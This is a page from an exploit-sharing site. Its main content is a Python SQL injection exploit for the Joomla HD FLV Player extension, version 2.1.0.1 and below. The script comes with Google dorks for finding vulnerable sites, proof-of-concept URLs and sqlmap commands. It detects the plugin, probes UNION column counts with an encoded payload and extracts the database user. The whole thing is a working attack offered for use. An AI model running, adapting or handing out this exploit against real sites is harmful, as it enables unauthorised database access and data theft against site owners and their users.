0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Joomla HD FLV 2.1.0.1 SQL Injection Vulnerability
#!/usr/bin/python # # Exploit Title : Joomla HD FLV 2.1.0.1 and below SQL Injection # # Exploit Author : Claudio Viviani # # Vendor Homepage : http://www.hdflvplayer.net/ # # Software Link : http://www.hdflvplayer.net/download_count.php?pid=5 # # Dork google 1: inurl:/component/hdflvplayer/ # Dork google 2: inurl:com_hdflvplayer # # Date : 2014-11-11 # # Tested on : BackBox 3.x/4.x # # Info: The variable "id" is not sanitized (again) # Over 80.000 downloads (statistic reported on official site) # # # Video Demo: http://youtu.be/-EdOQSjAhW8 # # Poc: # http://www.target.it/index.php?option=com_hdflvplayer&id=1[Sqli] # http://www.target.it/index.php/component/hdflvplayer/182/title/Blabla-bleblo/id/6 [SQLi]/page/1 (url rewrite) # # Poc sqlmap: # sqlmap -u "http://www.target.it/index.php?option=com_hdflvplayer&id=1" -p id --dbms mysql # sqlmap -u "http://www.target.it/index.php/component/hdflvplayer/182/title/Blabla-bleblo/id/6*" --dbms mysql (url rewrite) # # http connection import urllib, urllib2 # string manipulation import re # Errors management import sys # Args management import optparse # Check url def checkurl(url): if url[:8] != "https://" and url[:7] != "http://": print('[X] You must insert http:// or https:// procotol') sys.exit(1) else: return url banner = """ _______ __ ___ ___ ______ | _ .-----.-----.--------| .---.-. | Y | _ \ |___| | _ | _ | | | _ | |. 1 |. | \ |. | |_____|_____|__|__|__|__|___._| |. _ |. | \ |: 1 | |: | |: 1 / |::.. . | |::.|:. |::.. . / `-------' `--- ---`------' _______ ___ ___ ___ _______ __ | _ | | | Y | | _ | .---.-.--.--.-----.----. |. 1___|. | |. | | |. 1 | | _ | | | -__| _| |. __) |. |___|. | | |. ____|__|___._|___ |_____|__| |: | |: 1 |: 1 | |: | |_____| |::.| |::.. . |\:.. ./ |::.| `---' `-------' `---' `---' <= 2.1.0.1 Sql Injection Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ commandList = optparse.OptionParser('usage: %prog -t URL') commandList.add_option('-t', '--target', action="store", help="Insert TARGET URL: http[s]://www.victim.com[:PORT]", ) options, remainder = commandList.parse_args() # Check args if not options.target: print(banner) commandList.print_help() sys.exit(1) host = checkurl(options.target) checkext = 0 evilurl = { '/index.php?option=com_hdflvplayer&id=-9404%20UNION%20ALL%20SELECT%20CONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29' : '/index.php?option=com_hdflvplayer&id=[SQLi]' } char = "%2CNULL" endurl = "%2CNULL%23" bar = "#" print(banner) headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'} sys.stdout.write("\r[+] Searching HD FLV Extension...: ") try: req = urllib2.Request(host+'/index.php?option=com_hdflvplayer&task=languagexml', None, headers) response = urllib2.urlopen(req).readlines() for line_version in response: if not line_version.find("<?xml version=\"1.0\" encoding=\"utf-8\"?>") == -1: checkext += 1 else: checkext += 0 if checkext > 0: sys.stdout.write("\r[+] Searching HD FLV Extension...: FOUND") else: sys.stdout.write("\r[+] Searching HD FLV Extension...: Not Found\n") sys.exit(1) except urllib2.HTTPError: sys.stdout.write("\r[+] Searching HD FLV Extension...: Not Found\n") sys.exit(1) except urllib2.URLError as e: print("\n[X] Connection Error: "+str(e.code)) sys.exit(1) print("") sys.stdout.write("\r[+] Checking Version: ") try: req = urllib2.Request(host+'/modules/mod_hdflvplayer/mod_hdflvplayer.xml', None, headers) response = urllib2.urlopen(req).readlines() for line_version in response: if not line_version.find("<version>") == -1: VER = re.compile('>(.*?)<').search(line_version).group(1) sys.stdout.write("\r[+] Checking Version: "+str(VER)) except urllib2.HTTPError: sys.stdout.write("\r[+] Checking Version: Unknown") except urllib2.URLError as e: print("\n[X] Connection Error: "+str(e.code)) sys.exit(1) print("") for exploiting, dork in evilurl.iteritems(): s = "" barcount = "" for a in range(1,100): s += char try: req = urllib2.Request(host+exploiting+s+endurl, None, headers) response = urllib2.urlopen(req).read() if "h0m3l4b1t" in response: print "\n[!] VULNERABLE" current_user = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(response).group(1) print "[*] Username: "+str(current_user) print "" print "[*] 3v1l Url: "+host+exploiting+s+endurl sys.exit(0) except urllib2.HTTPError as e: response = e.read() if "h0m3l4b1t" in response: print "\n[!] VULNERABLE" current_user = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(response).group(1) print "[*] Username: "+str(current_user) print "" print "[*] 3v1l Url: "+host+exploiting+s+endurl sys.exit(0) except urllib2.URLError as e: print("\n[X] Connection Error: "+str(e.code)) sys.exit(1) barcount += bar sys.stdout.write("\r[+] Exploiting...please wait: "+barcount) sys.stdout.flush() print "\n[X] Not vulnerable :(" print "[X] Try with tool like sqlmap and url "+host+"/index.php?option=com_hdflvplayer&id=1 (valid id number)" # 0day.today [2024-09-28] #